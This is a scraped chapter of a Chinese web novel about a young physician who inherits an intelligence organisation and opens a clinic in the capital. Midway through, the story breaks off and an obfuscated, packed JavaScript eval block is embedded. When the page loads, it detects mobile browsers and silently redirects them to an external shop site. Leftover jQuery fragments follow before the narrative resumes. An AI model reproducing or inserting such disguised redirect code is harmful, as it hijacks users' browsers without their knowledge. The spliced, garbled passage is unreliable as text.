文趣网 > 其他小说 > 梨下闻得心上音 > 7. 七·月眠日醒探云起
    “气死老夫了。”闲云散人送走官府的人,气哼哼地用力将文书砸在桌上。

    “师父?”方抚音端上一盘糕点,为闲云散人倒上一杯茶。她没有询问,但关切的表情明显写着好奇。

    闲云散人一掌拍在桌上,愤慨道:“那狗州官眼瞎,嫌你是个不过二十的小姑娘,直接取消了你去太医院任职的资格。”

    方抚音扶着餐盘的指尖一蜷:“神农谷不是每五载都应送一名医者去太医院任职?州官怎敢?”

    闲云散人气得磨牙:“那老东西是皇后的远方表舅。”

    方抚音的唇张了又闭,她还是什么都没说,抿起唇。黝黑的眼顿时失了方才的华彩,黯淡无光。这四年来师父一直在帮她探查方家的事,最终线索断在京城。她本以为自己能通过任职太医院进入京城,如今该如何是好……

    闲云散人捻起一块糕点塞进嘴里想平复心情。!!!老夫味觉失灵了?咋没味儿?老爷子放下咬了一口的桂花糕,神色惊恐:“徒儿,你在里面加了什么?”

    方抚音伤感的思绪瞬间抽离,认真回答师父的疑问:“比之前少十倍的饴糖。”

    闲云散人:孽徒!

    闲云散人砸砸嘴,试图寻找那疑似不存在的甜味。

    见师父不再说话,方抚音继续思考该怎么办。一对秀眉似远山聚拢,拢住似雾的愁绪。

    看见徒弟又整这副愁苦样,闲云散人大手一挥:“慌啥,正好你师兄两月后要回京任职,让他带你一起。为师在京城有处小院,届时你再租一间铺子作医馆,在京城做大夫。”

    方抚音瞪圆双眼,犹豫片刻,想拒绝。虽然她没去过京城,却也知道京城寸土寸金,一间铺子的租金定然十分高昂。

    闲云散人一眼看出方抚音的忧虑,得意地捋捋胡须:“神农谷不差这些钱。”

    话都说到这份上了,方抚音再推辞就不妥了。心下感激,她决定日后给师父的糕点多加一点点糖。

    第二日,闲云散人对林怀远耳提面命,林怀远再三保证会照顾好师妹后才被放出。重获自由,林怀远心情愉悦,不知不觉间走到方抚音的小院。他敲了三下门,半夏便拉开门请他进门。

    方抚音在院中查阅古籍,未注意到林怀远的到来。林怀远也不恼,熟稔地为自己倒上一杯茶。

    过了一刻钟,方抚音才发现身旁多了个人。她一惊,执书的手抖了一下,差点让古籍掉下去。

    “师兄,招待不周。”方抚音轻轻放下古籍,面带歉意地看向林怀远。

    林怀远盯着方抚音的双眸,字字清晰:“你我间不必这般生疏。”

    方抚音微微勾了勾唇角,摇头:“礼不可废。”她为了入京,这四年来除研究医理就是苦修师父所谓的人情世故。她知道,无论与师兄多亲近都不能失了礼数。

    *^_^*

    入京前半月,闲云散人难得在戌时之后唤方抚音来寻他。

    三四根燃烧的蜡烛并未完全照亮房间。光只能照亮灯架周围一尺的圆,再往外便是混浊的昏暗,浓稠地凝在空气中,像陈年的蜜。

    闲云散人的表情被遮掩在黑暗中,方抚音看不清他的情绪。

    天早就暗了,方抚音感到困乏,师父迟迟不开口,她也不能提出离去,如今见到自己师父这番故弄玄虚之态,双眸不高兴地瞥向旁处,暗暗鼓起双腮。

    风吹散遮盖月色的薄云,月辉倾洒,斜斜地从窗棂落入,照亮昏暗的房间。

    方抚音的眼前突然就多了一人。男人身着黑色劲装,面容冷肃。他上前,单膝下跪对方抚音低头抱拳:“属下京墨,见过小姐。”

    方抚音:???她连忙侧身让开:“请起。”

    “哈哈哈哈哈。”见到方抚音这副迷茫的样子,闲云散人拍腿大笑。

    “师父。”方抚音的脸皮一如既往的薄,被闲云散人的笑得双颊羞红,气恼地轻唤一声闲云散人后抿唇不再言语。

    “京墨,你起来吧。给小姐讲讲我们探云楼。”闲云散人笑够了,对仍跪在地上的暗卫道。

    京墨起身,对方抚音抱拳躬身:“小姐,探云楼是主上于天平三十五年所创的江湖组织,以探寻、交换消息,售卖奇货为生。如今乃锦朝最大的消息组织。”

    天平是先帝的年号,三十五年……似乎是当今出生的那年。那探云楼建楼已有四十五载。方抚音震惊地看向自家师父,四十五年竟能将一个势力发展至此……

    老头捋捋白胡须,下巴越扬越高,“哼哼,老夫年轻时也算个人物。”

    自谦完,闲云散人才向方抚音伸出手。他给她的是一枚紫翡翠戒指。戒面是素面的,未有一分雕刻,磨成略略隆起的弧,像一滴凝固的深紫色露珠。

    “此乃探云楼楼主的象征,从此你才是探云楼的楼主。你师兄我都只给了副楼主的权力。别告诉你师兄,不让就坐实我偏心了。”闲云散人打个哈欠,“京墨,带你们新主子了解一下探云楼吧。”言罢,他直接回屋睡大觉了。

    方抚音转头看向京墨,不知道该说什么。

    “属下带主子入探云楼。”京墨道。

    方抚音的困意早被这惊人的信息给打散了,如今快些了解突如其来的馅饼对她没坏处。她点点头:“辛苦了。”

    “小姐,得罪啦。”半夏突然从窗棂外冒出,古灵精怪的表情吓了方抚音一跳。

    不容方抚音反应,半夏搂住方抚音的腰,脚下用力……狂风在耳边呼啸,月下的草木统一化作墨绿的色块从方抚音眼前一一掠过,方抚音只觉灵魂在后面追逐躯壳,眼前似乎出现了一黑一白的两道幻影……

    首次体验轻功,方抚音感观差极。跋山涉水半个时辰,方抚音被带着送上一栋独立于空山的一栋九层高塔。她为何感觉这探云楼有些不可靠?哪家气派的江湖势力会在荒山上建一座孤塔?

    探云楼的顶层没有墙。四面尽是暮山紫色的绢帷,自房梁直垂抵地,风从四面八方灌入,帷幔微微鼓起又飘落于地。明月高悬,月色漫进青砖地,肆意轻吻主位上广寒仙的苍白面容。

    十道身影跪成一排,恭敬等候楼主的吩咐。

    方抚音如坐针毡,她面上不显,广袖下的素手局促地扣动布料。一双美眸小心翼翼地打量四周。她有些后悔晚上来了,此地露天,蚊蝇乱飞,她已被咬了好多下了。

    犹豫了好久,方抚音说出第一句话:“诸位是?”

    “属下京墨。”

    “属下雪见。”

    “属下忍冬。”

    ……

    “属下半夏。”

    “探云十卫见过楼主。”十人异口同声。

    京墨,雪见,忍冬,白芷,茯苓,辛夷,紫菀,杜若,南星,半夏。都是药草名,倒是好记。方抚音记下除半夏京墨外的八人,随后她陷入沉默。她不知道接下来该怎么做。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724718|208812||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>半夏和方抚音相处了四年,对方抚音很是了解,她家小姐只善医理,对其余事情提不起兴趣,对于经营探云楼更是一窍不通。于是她主动担任起为小姐解惑的角色。

    经过半夏一个时辰的讲述,方抚音终于泛起困意。半夏讲了一大堆,方抚音听得云里雾里,只总结出两句话:楼内事务皆有副楼主管,她可以什么都不管。探云十卫是探云楼最厉害的探子……

    方抚音眼前一亮。探云十卫很厉害,那岂不是……

    回到卧房,方抚音洗漱完躺回床上,半夏下跪请罪:“属下欺瞒有罪,请主上责罚。”

    方抚音愣了片刻,反应过来后连忙弯腰拉起半夏的手,让半夏坐在床上,声音依旧是往日的清泠:“半夏,你好厉害。”

    半夏不明白方抚音的话。

    方抚音继续道:“日后,我的安全都要辛苦半夏了。”

    半夏现在懂了,双颊顿时红了,垂下头不敢看方抚音清凌却真诚的眼:“保护小姐是半夏的本职。”

    方抚音摇摇头,未接话,细声细气地说:“一起歇息吧,太晚了。”

    *^_^*

    入京七日,方抚音医治零位病人。并非医馆位置不好,只是来看病的人见问诊的是为十九岁的年轻姑娘,认为她没真本事,不敢入医馆。敢进的都是来采买药材,从不看病。

    方抚音每日辰时至店戌时离店,在问诊台边一坐便是一日。但迟迟没有病患上门求医,方抚音再热情也抵不过。一周后的某个下午,方抚音放下医书,撇下半夏,走上京城的西大街。

    日头偏西,斜斜地打在西市两排朱漆阁楼的檐角,将一面面酒幡茶愰照得透亮。

    卷发碧眼的胡商用生硬的官话与香料店主讨价还价,甜腻的香气飘出三丈远。饼铺的麻饼新鲜出炉,掀开抽屉,白茫茫的蒸汽腾起来裹住卖饼老汉油亮的额头。

    绸缎铺内,掌柜向贵人们展示新到的宝相花纹锦。茶肆内的文人三两成群,品茶吟诗,好不快活。

    方抚音踏足这片热闹的大街,觉得好不真实。这般热闹的景象,她从未见过。

    漫无目的地行走在大街上,方抚音感受人间的烟火气,只觉自己与他们格格不入。远离热闹太久,她竟比从前更加胆怯。她不敢靠近或是进入任意一家铺子,不敢拿起感兴趣的东西细观,不敢询问价格买下喜欢之物……

    不知怎的,人变得多起来,人潮拥挤,方抚音被挤得失了方向,挣脱时已在她从未来过的地方。

    她迷路了。

    方抚音在问路和自己乱绕中犹豫片刻,最终选择后者。但显然,她高估了自己。她成功将自己带入民宅间的小路。

    等她意识到自己绕不出去时,已是夕阳西下。她停下脚步,站着不动,不高兴地抿起唇思考该怎么回家。有些后悔,该和半夏一起来的。

    “喵。”

    方抚音正思考着,一声猫叫打断她的思绪。比巴掌略大一点的小狸奴不知从何处冒出,停在方抚音脚边,缓缓晃动尾巴。

    方抚音瞬间被勾了魂,停止思索。她蹲下,小心翼翼地伸出一根手指。

    小狸奴粉嫩的鼻尖嗅了嗅方抚音的指尖,而后愉悦地用脑袋蹭来蹭去。方抚音得到回应,心生喜悦,一根手指改换为整只手,缓缓抚摸小狸奴柔软的皮毛。

    “小狸,东街怎么去呀?”方抚音轻声询问小狸奴。

    “我知道。”